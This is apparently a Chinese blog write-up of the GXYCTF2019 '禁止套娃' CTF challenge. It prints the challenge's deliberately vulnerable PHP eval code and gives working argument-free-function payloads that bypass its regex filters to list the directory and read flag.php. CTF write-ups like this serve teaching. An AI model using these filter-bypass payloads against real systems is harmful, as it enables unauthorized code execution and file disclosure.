[GXYCTF2019]禁止套娃

首先打开链接,什么都没有发现。

用了dirseach.py和御剑试了试,都没有扫出来,网上看了看其他大佬的writeup,都没有说清楚如何得知.git文件源码泄露。(我菜,暂时还不懂)。大佬只说是通过git扫描工具扫描发现index.php,那我们也继续吧。

[GXYCTF2019]禁止套娃

 

查看源码

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET[‘exp‘])){
    if (!preg_match(‘/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i‘, $_GET[‘exp‘])) {
        if(‘;‘ === preg_replace(‘/[a-z,_]+\((?R)?\)/‘, NULL, $_GET[‘exp‘])) {
            if (!preg_match(‘/et|na|info|dec|bin|hex|oct|pi|log/i‘, $_GET[‘exp‘])) {
                // echo $_GET[‘exp‘];
                @eval($_GET[‘exp‘]);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

需要以GET形式传入一个名为exp的参数。如果满足条件会执行这个exp参数的内容。不过过滤了一堆东西,每次看到这个函数我就烦,

if (!preg_match(‘/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i‘, $_GET[‘exp‘])) 过滤了常用的几个伪协议,不能以伪协议读取文件。

if(‘;‘ === preg_replace(‘/[a-z,_]+\((?R)?\)/‘, NULL, $_GET[‘exp‘])) 将参数替换为null在判断与;是否相等。(?R)引用当前表达式,后面加了?递归调用。说明只能用无参函数去绕过。

正则匹配掉了et/na/info等关键字,很多函数都用不了。

var_dump:是PHP中的调试函数,用于判断一个变量的类型与长度,并输出变量的数值。用var_dump打印所有的对象,可以查看对象内部的数据结构;

scandir:列出 images 目录中的文件和目录;

current:输出数组中的当前元素的值,默认取第一个值;

localeconv(): 函数返回一包含本地数字及货币格式信息的数组。

首先构造 var_dump(scandir(current(localeconv())));

[GXYCTF2019]禁止套娃

 

 

接着读取flag。

第一种方法:?exp=readfile(array_rand(array_flip(scandir(current(localeconv())))));

array_rand() 函数从数组中随机选出一个或多个元素,并返回。

array_flip() 函数用于反转/交换数组中的键名和对应关联的键值。

我们可以使用这两个函数不断刷新,多读取几次,也可以得到flag。

[GXYCTF2019]禁止套娃

 

 

第二种方法:?exp=show_source(next(array_reverse(scandir(pos(localeconv())))));

或者?exp=highlight_file(next(array_reverse(scandir(pos(localeconv())))));

show_source和highlight_file函数都是高亮显示,相同的作用。

[GXYCTF2019]禁止套娃

 

[GXYCTF2019]禁止套娃

上一篇:Photoshop 墙壁上的霓虹灯文字


下一篇:POD 以及POD调度